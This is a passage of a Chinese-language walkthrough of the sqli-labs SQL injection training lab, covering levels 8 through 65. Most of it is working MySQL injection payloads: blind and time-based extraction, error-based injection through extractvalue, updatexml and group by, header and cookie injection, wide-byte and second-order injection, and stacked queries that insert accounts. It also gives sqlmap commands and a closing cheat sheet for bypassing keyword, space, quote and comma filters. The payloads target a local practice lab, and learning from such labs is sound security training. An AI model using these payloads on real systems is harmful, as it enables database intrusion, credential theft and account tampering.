当输入 id=1" 时显示正常,所以可以断定参数 id 时单引号字符串。因为单引号破坏了他原有语法结构。

然后再输入 id=1'--+ 时报错,

这时候再输入 id=1')--+ 发现依然报错,

再试下是不是双括号输入id=1'))--+,发现页面显示正常。

那么它的过关手法和前面就一样了选择布尔盲注就可以了。

sqli-labs 第 8 关 ( 单引号、布尔注入 )

第八关 和 第五关 一样就不多说了。只不过第八关没有报错信息,但是有 you are in.. 进行参照。id参数是一个单引号字符串。

sqli-labs 第 9 关 ( 基于时间的盲注 )

第九关 会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合了。

  • 布尔盲注 适合页面对于错误和正确结果有不同反应。
  • 如果页面一直不变这个时候我们可以使用 时间注入

时间注入布尔盲注 两种没有多大差别。只不过 时间盲注多了 if 函数 和 sleep() 函数。if(a,sleep(10),1) 如果 a 结果是真的,那么执行 sleep(10) 页面延迟10秒,如果 a 的结果是假,执行 1,页面不延迟。通过页面时间来判断出 id 参数是单引号字符串。

  • 因为是单引号注入,所以 and 前面就直接报错,所以这个会立马返回页面:http://127.0.0.1/sqli-labs-php7/Less-9/index.php?id=1" and if(1=1,sleep(5),1)--+
  • 因为是单引号注入,所以 and 前面的结果为真,继续 and 后面的条件,即 sleep 5 秒后页面页面才返回结果:http://127.0.0.1/sqli-labs-php7/Less-9/index.php?id=1' and if(1=1,sleep(5),1)--+

判断参数构造。
?id=1' and if(1=1,sleep(5),1)--+

判断数据库名长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+

逐一判断数据库字符
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

判断所有表名长度 
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

逐一判断表名 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

判断所有字段名的长度 
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

逐一判断字段名。 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

判断字段内容长度
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

逐一检测内容。
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

sqli-labs 第 10 关 ( get 和 post 区别、--prefix="\"" )

第十关和第九关一样,只需要将单引号换成双引号。

第 4 关 是双引号,且括号闭合,所以 sqlmap 可以直接扫描。但是这一关是双引号,并且没有括号闭合,所以使用 sqlmap 扫描时,显示 参数 id 没法注入

sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-10/index.php?id=1" --dbms=mysql --batch -v 3 --technique=T

扫描时 使用的 payload

可以发现 sqlmap 是 基于 "单引号" 注入的,双引号的注入检测不出来,这时就需要 --prefix 参数来指定 "注入payload字符串前缀"

  • -v 3   是显示 payload
  • -v 4   是显示请求的 url

sqlmap 扫描:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-10/index.php?id=1" --dbms=mysql --batch -v 4 --prefix="\"" > ./test.log

可以发现注入前缀变成双引号了,

sqlmap 的 :--prefix,--suffix

  • sqlmap 的 get 请求默认是 "单引号" 的注入前缀
  • sqlmap 的 post 请求 "单引号、双引号" 都有 payload

在有些环境中,需要在注入的 payload 的前面或者后面加一些字符,来保证 payload 的正常执行。

例如,代码中调用数据库:$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
这时你就需要 --prefix--suffix 参数了:python sqlmap.py -u "http://192.168.0.3/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
这样执行的SQL语句变成:$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

sqli-labs 第 11 关 ( post 表单 注入 )

sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-11/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --param-exclude="submit" --dbs

从第十一关开始,可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是 get 请求,参数都体现在 url 上面,而从十一关开始是 post 请求,参数是在表单里面。我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测 sql 语句。大概的形式应该是这样 username=参数 and password=参数 ,只是不知道是字符型还是整数型。

当我们输入1时出现错误图片

当我们输入1',出现报错信息。根据报错信息可以推断该 sql 语句 username='参数' and password='参数'

知道 sql 语句我们可以构造一个恒成立的 sql 语句,看看查询出什么。这里我们使用 --+ 注释就不行,需要换成 # 来注释, 这个就和我们第一关是一样了。使用联合注入就可以获取数据库信息。

sqli-labs 第 12 关 ( post、双引号、括号 )

sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-12/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs

当我们输入1'和1时候页面没有反应

当我们输入1"的时候页面出现报错信息,就可以知道sql语句是双引号且有括号。

那么我们可以构造下面语句进行sql注入。

1" ) or 1=1 #判断是否存在sql注入。
1" ) union select 1,2#

sqli-labs 第 13 关 ( post、单引号 )

sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-13/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs

十三关和十二关差不多,只需要将双引号换成单引号。

sqli-labs 第 14 关 ( post、双引号 )

sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-14/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs

十四关和十一关差不多,只需要将单引号换成双引号。

sqli-labs 第 15 关 ( post 、布尔盲注 )

sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-15/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs

第十五关和第十一关一样,只是不产生报错信息。这就是明显的布尔盲注。因为还有错误页面和正确页面进行参考。

sqli-labs 第 16 关 ( post、布尔盲注 )

sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-16/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs  --param-exclude="submit" --level=5 --risk=3 

第十六关和十二关一样,需要布尔盲注。

sqli-labs 第 17 关 ( extractvalue、updatexml、group by )

第十七关和前面的关有很大不一样,根据页面展示是一个密码重置页面,也就是说我们已经登录系统了,然后查看我们源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。所以之前的联合注入和布尔盲注以及时间盲注都不能用了。这里我们会用到报错注入。用到三种mysql报错注入,下面都给大家详细写出步骤,大家可以借鉴。

这里介绍的报错注入可以选择 extractvalue() 报错注入,updatexml() 报错注入和 group by() 报错注入。下面简单说一下者三种报错注入的原理。

extractvalue 报错注入

extractvalue(XML_document, XPath_string)

  • 第一个参数:XML_document 是 String 格式,为XML文档对象的名称,文中为 Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
  • 作用:从 XML_document 中提取符合 XPATH_string 的值,当我们的 XPath_string 语法报错时候就会报错,下面的语法就是错误的。concat和我前面说的的 group_concat 作用一样

下面已将该报错注入代码给到大家,在最后一步爆字段内容时候,会报错,原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#    爆版本
 
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#   爆数据库
 
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#   爆表名
 
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# 
 爆字段名
 
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))#      爆字段内容该格式针对mysql数据库。
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#                      爆字段内容。

updatexml 报错注入

UPDATEXML (XML_document, XPath_string, new_value)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
  • 作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值

当我们 XPath_string 语法报错时候就会报错,updatexml() 报错注入和 extractvalue() 报错注入基本差不多。

下面已将该报错注入代码给到大家,最后爆字段和上面一样如果加一个中间表。

123' and (updatexml(1,concat(0x5c,version(),0x5c),1))#     爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))#    爆数据库
 
123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#      爆表名

123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#
   爆字段名
 
123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#
爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#
 
1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#   爆字段内容。

group by 报错注入

group by 报错可以看这个文章,此文章博主写的很清楚。这个报错注入比前面两个复杂一点。

深入理解 group by 报错注入:https://blog.csdn.net/m0_53065491/article/details/121893986

123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#     爆数据库
123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#      爆数据库版本
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))#    通过修改limit后面数字一个一个爆表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#        爆出所有表

1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))#    爆出所有字段名

1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))#    爆出所有字段名
1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#    爆出该账户的密码。

sqli-labs 第 18 关 ( header 注入点 ua、结合 burpsuite 分析 )

这关我们直接看到看到页面有一个ip,简单看一下源码,发现对于输入的账户名和密码都有进行检查,但是往下看会发现一个插入的 sql 语句,当我们输入正确的账户名和密码时 User-Agent 字段内容就会出现在页面上。所以可以从这上面下功夫

当我们在 User-Agent 后面加上单引号出现如下报错,可见插入语句是将 ua 字段内容和 ip 地址以及账户名作为字符串进行插入且外面有括号。还要注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。

所以我们可以构造如下数据,页面显示正常。可以将其他参数换成sql语句进行报错注入

大家可以自己报错注入方式进行注入,updatexml 和 extractvalue 报错注入爆出来的数据长度是有限的。

1' ,2, (extractvalue(1,concat(0x5c,(select group_concat(password,username) from users),0x5c)))#   爆账户密码。
1',2,updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#   爆账户密码。

sqli-labs 第 19 关 ( header 注入点 referer )

十九关当我们输入正确的账户密码时 referer字段内容会显示在页面上。该插入的 sql 语句有两个参数一个是 referfer,还有 ip 地址。下面代码可以报错账户密码。前面的大家自己构造了。

1',updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#

sqli-labs 第 20 关 ( header 注入点 cookie  )

第二十关当我们输入正确页面时候 cookie字段显示在页面上,进行抓包。进行注入

'and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#

sqli-labs 第 21 关 ( cookie 字段 base64 编码 注入 )

第二十一关和二十关很像,唯一不一样就是 cookie 哪里不是账户名而是一串字符。有点经验就知道是 base64 编码,所以我们可以将单引号进行编码 jw== 可以发现报错并且还得有括号。

将注入代码进行编码,可以看到爆出账户密码。

')and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#

sqli-labs 第 22 关 ( cookie 双引号 base64 编码 注入 )

第二十二关和第二十一关一样只不过 cookie 是双引号 base64 编码,没有括号。

sqli-labs 第 23 关 ( get 请求:单引号、注释被过滤 )

sqlmap:sqlmap --url="192.168.0.5/sqli-labs-php7/Less-23/index.php?id=1" --batch --dbs

第二十三关重新回到 get 请求,会发现输入单引号报错,但是注释符不管用。猜测注释符被过滤,查看源码果然被注释了

所以可以用单引号闭合,发现成功。之后可以使用联合注入。不过在判断列数时候不能使用 order by 去判断,需要用 ?id=-1' union select 1,2,3,4 or '1'='1 通过不停加数字判断,最后根据页面显示是三列,且显示位是2号。

注入点:http://127.0.0.1/sqli-labs-php7/Less-23/index.php?id=1' or '1'='1 

爆 表名:http://127.0.0.1/sqli-labs-php7/Less-23/index.php?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

爆 列名:http://127.0.0.1/sqli-labs-php7/Less-23/index.php?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1

爆 字段:http://127.0.0.1/sqli-labs-php7/Less-23/index.php?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1

sqli-labs 第 24 关 ( 二次注入 )

第二十四关有一个登录页面和注册页面还要一个修改密码页面,该关卡使用得是二次注入,因为登录页面和注册页面对于密码和账户名都使用 mysql_real_escape_string 函数对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用 sql 语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的。

首先我们看到管理员账户,admin,密码是1,但是通常情况下我们是不知道密码的,只能猜测管理员账户的 admin。

我们先注册一个账号名叫 admin'#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合,# 是为了注释后面的数据。

之后也用户名 admin'# 和密码是 123456 登录,进入修改密码页面。原始密码输入123456,新密码我输入的是 111111,可以看到密码修改成功。 

当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。

sqli-labs 第 25 关 ( or 和 and 被替换成 空 )

第二十五关根据提示是将 or 和 and 这两个替换成空,但是只替换一次。大小写绕过没有用。我们可以采用双写绕过。这一关使用联合注入就可以了,information 里面涉及 or 可以写成infoorrmation。

  • 注入点:http://127.0.0.1/sqli-labs-php7/Less-25/index.php?id=1'
  • 双写绕过:http://127.0.0.1/sqli-labs-php7/Less-25/index.php?id=1' anandd '1'='2

?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

sqli-labs 第 26 关 ( 逻辑运算符,注释符、空格 都被 过滤 )

第二十六关将逻辑运算符,注释符以及空格给过滤了,我们需要使用单引号进行闭合。

  • 双写绕过:逻辑运算符或者使用&&和||替换。
  • 空格绕过:绕过空格限制方式:%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格,

我在 windows 和 kali 里面都用不了,可能是因为apache解析不了。只能使用()绕过。报错注入空格使用比较少所以我们可以使用报错注入。

爆表:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0

爆字段:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0

爆密码账户:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0

sqli-labs 第 26-a 关 ( 联合注入、盲注 )

该关卡和二十六关差不多,多了一个括号。不能使用报错注入,该页面不显示报错信息。需要使用联合注入和盲注。

注入点:

  • http://127.0.0.1/sqli-labs-php7/Less-26a/index.php?id=1
  • http://127.0.0.1/sqli-labs-php7/Less-26a/index.php?id=1'

sqli-labs 第 27 关 ( 小写以及重写绕过、select 和 union 被过滤 )

二十七关和二十六差不多,不过二十七关没有过滤 and 和 or,过滤了 select 和 union,我们可以大小写绕过以及重写绕过。

爆表:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0

爆字段:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0

爆密码账户:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0

sqli-labs 第 27-a 关  ( 小写以及重写绕过、select 和 union 被过滤 )

该关是双引号且页面不显示报错信息。过滤规则和二十七关一样。所以我们需要使用盲注和联合注入。

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1

###?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,username)from%0Ausers%0Aand"1 

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1

sqli-labs 第 28 关 ( 注释符、union、select 被 过滤 )

该关卡过滤了注释符空格还过滤了 union 和 select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过写。

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1

sqli-labs 第 28-A 关 ( union、select 被过滤  )

该关卡只过滤 union+select 。其他没有过滤。

?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+

sqli-labs 第 29 关  ( union、select 被过滤  )

该关卡只过滤 union+select。其他没有过滤。

?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+

爆表:?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

爆字段:?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+

爆密码账户:?id=1&id=-2%27%20union%20select%201,group_concat(password,username),3%20from%20users--+ 

sqli-labs 第 30 关

三十关和二十九关差不多,将单引号换成双引号

爆表:?id=1&id=-2"%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

爆字段:?id=1&id=-2"%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+

爆密码账户:?id=1&id=-2"%20union%20select%201,group_concat(password,username),3%20from%20users--+

sqli-labs 第 31 关

三十一关和三十关差不多,多了一个括号

?id=1&id=-2")%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
?id=1&id=-2")%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+   爆字段
?id=1&id=-2")%20union%20select%201,group_concat(password,username),3%20from%20users--+

sqli-labs 第 32 关 ( preg_replace 函数 过滤掉 斜杠,单引号、双引号 )

第三十二关使用 preg_replace 函数将 斜杠,单引号和双引号过滤了,如果输入id=1"会变成id=1\",使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

?id=-1%df%27%20union%20select%201,database(),3%20--+
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

sqli-labs 第 33 关

第三十二关和三十三关一模一样

sqli-labs 第 34 关 ( 宽字节注入 )

三十四关是 post 提交,使用 addslashes 函数对于账户和密码都进行转义,使用宽字节注入就行。

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+  爆字段名 
1%df%27 union select 1,group_concat(password,username) from users--+ 爆密码账户

sqli-labs 第 35 关 ( 换成十六进制编码 )

使用 addslashes 函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,直接使用联合查询就可以了

?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表 
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段
?id=-1%20union%20select%201,group_concat(password,username),3%20from%20users--+

sqli-labs 第 36 关 ( 转义 )

使用 mysql_real_escape_string 函数对于特殊字符进行转义。id 参数是单引号,和前面三十二关一样

sqli-labs 第 37 关 ( 转义 )

三十七关是post提交,使用mysql_real_escape_string 函数对于账户和密码都进行转义,使用宽字节注入就行。和三十四关一样。

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+  爆字段名
1%df' union select 1,group_concat(password,username) from users--+ 爆密码账户

sqli-labs 第 38 关 ( 堆叠注入 )

三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在 mysqli_multi_query 函数,该函数支持多条 sql 语句同时进行。

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
#向数据表插入自己的账户密码

?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+  查询字段
?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+   查询密码账户

sqli-labs 第 39 关 ( 联合注入 )

id参数是整数,正常联合注入就行。

?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()
?id=-1%20union%20select%201,group_concat(username,password),3%20from%20users

sqli-labs 第 40 关 ( 单引号、括号闭合、联合注入 )

四十关id参数是单引号加括号闭合,然后使用联合注入就可以了

?id=-1%27)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
?id=-1%27)%20union%20select%201,group_concat(username,password),3%20from%20users%20--+

sqli-labs 第 41 关

四十一关和三十九关一样,id 是整数。

sqli-labs 第 42 关 ( 堆叠注入 )

四十二关是因为账户进行了转义处理密码没有做处理,数据库没有使用 gbk 编码不能向上面一样使用宽字节注入,但是存在堆叠注入函数,所以我们可以在密码哪里使用堆叠注入。向数据库里面插入密码账号,这样我们再来使用其进行登录就很简单了。

login_user=1&login_password=1';insert into users(id,username,password) values ('39','less30','123456')--+&mysubmit=Login

sqli-labs 第 43 关 ( 单引号、括号闭合、堆叠注入 )

四十三关和四十二关差不多,就是密码参数是单引号和括号闭合的。

login_user=1&login_password=1'); insert into users(id,username,password) values ('44','less34','123456')--+&mysubmit=Login

sqli-labs 第 44 关

四十四关和四十二关一样

sqli-labs 第 45 关

四十五关和四十三关一样

sqli-labs 第 46 关 ( updatexml 报错 )

使用新的参数sort,通过输入1,2,3表中出现不同数据,该sql语句是order by,sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以使用 updatexml 进行报错。

?sort=1%20and%20(updatexml(1,concat(0x5c,(select%20group_concat(password,username)%20from%20users),0x5c),1))

sqli-labs 第 47 关 ( updatexml 报错注入 )

四十七关和四十六差不多,多了一个单引号闭合,可以使用报错注入

sqli-labs 第 48 关 ( 延时注入 )

四十八关和四十六一样只不过没有报错显示,所以使用延时注入。

sqli-labs 第 49 关 ( 延时注入 )

四十九关和四十七关一样,不过没有报错显示,所以使用延时注入。

sqli-labs 第 50 关 ( 报错注入、堆叠注入 )

五十关和四十六关一样,可以使用 updatexml 进行报错注入,不过这个里面还可以使用堆叠注入,因为使用了mysqli_multi_query函数,支持多条sql语句执行。也可以延时注入。可以借鉴三十八代码

sqli-labs 第 51 关 ( 引号闭合,可以报错注入,可以延时注入,可以堆叠注入 )

该参数单引号闭合,可以报错注入,可以延时注入,可以堆叠注入。

sqli-labs 第 52 关 ( 堆叠注入、延时注入 )

该参数是整数型,且没有报错显示,只能堆叠注入或者延时注入。

sqli-labs 第 53 关 ( 堆叠注入、延时注入 )

该参数是字符型,单引号闭合,没有报错显示,可以使用堆叠注入和延时注入。

sqli-labs 第 54 关

五十四关翻译页面的英文,得知只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。id参数是单引号闭合就行。

 ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表名

注意上面这个是我查到的表名,每个人不一样的表名,代码需要更改表名

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='8fof1zun81'--+  爆列名

字段名也是不一样的,我们需要获取secret_31F4,所以每个人的列名也需要改。 

?id=-1%27union%20select%201,group_concat(secret_31F4),3%20from%208fof1zun81--+  获取key值

下面输入框点击提交,就完成所有步骤。

sqli-labs 第 55 关

五十五关是有14次机会,id参数是加了括号的整数

?id=-1)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+   报表名
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='69jwmv27j9'--+ 爆列名
?id=-1) union select 1,group_concat(secret_D1DW),3 from 69jwmv27j9--+  获取key值

sqli-labs 第 56 关

五十六关和前面两关类似需要单引号和括号。

?id=-1')%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+  爆表名 
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='9ze4qmv307'--+ 爆列名
?id=-1') union select 1,group_concat(secret_CTVR),3 from 9ze4qmv307--+  获取key值

sqli-labs 第 57 关

五十七关就是双引号闭合 

sqli-labs 第 58 关

五十八关和前面几关不一样,因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入是不行得。但是有报错显示,所以可以使用报错注入。

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
爆表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='8edjk8ipbk'),0x7e),1)--+
爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_6W8M) from challenges.8edjk8ipbk),0x7e),1)--+

sqli-labs 第 59 关

五十九关和五十八关一样使用报错注入,id是整数型。

sqli-labs 第 60 关

六十关根据报错信息可知id参数是双引号加括号。

sqli-labs 第 61 关

六十一关根据报错信息可知id参数是单引号加两个括号。

sqli-labs 第 62 关

六十二关没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号加括号。具体代码往上翻

第五关(布尔盲注),第九关(时间注入)

?id=1%27) and if(length((select database()))=10,sleep(5),1)--+  时间注入,如果出现延迟表示该数据库名长度是10 
?id=1%27)and length((select database()))=10--+  布尔盲注

sqli-labs 第 63 关

 六十三关没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号。第五关(布尔盲注),第九关(时间注入)

sqli-labs 第 64 关

和前面两关一样,id参数是两个括号的整数型。

sqli-labs 第 65 关

和前面关卡差不多,id参数是一个括号的整数型。

3、使用 sqlmap 注入

关键词 过滤

大小写 绕过,双写 绕过,编码 绕过。例如 ununionion,selselectect,uniunion selecton select,UnIon,SelECT

空格 过滤

使用 括号 代替 空格(报错注入),使用 两个空格,使用 Tab 代替 空格,使用 回车,使用 %0a 使用 /**/ 代替 空格

逻辑 运算符 过滤

or使用||代替,and使用&&代替 ,xor使用|代替,not使用!代替

注释符 过滤

使用 And '1'='1, %23

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1(sqli-labs27-a关)

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0(sqli-labs26关)

引号 过滤

使用十六进制,宽字节
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+(sqli-labs32关)

逗号 过滤

在使用盲注的时候,需要使用到substr(),mid(),limit,这些子句方法都需要使用到逗号

1. 对于substr、substring()和mid()方法可以使用from的方式来解决

?id=1'and ascii(substr((select database()),1,1))=115--+

?id=1'and ascii(substr((select database())from 1 for 1))=115--+

2.使用 join

union select 1,2 可以使用下面的句子代替
union select * from (select 1)a join (select 2)b

?id=-1' union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C)--+

4.limit中,使用 offset 绕过

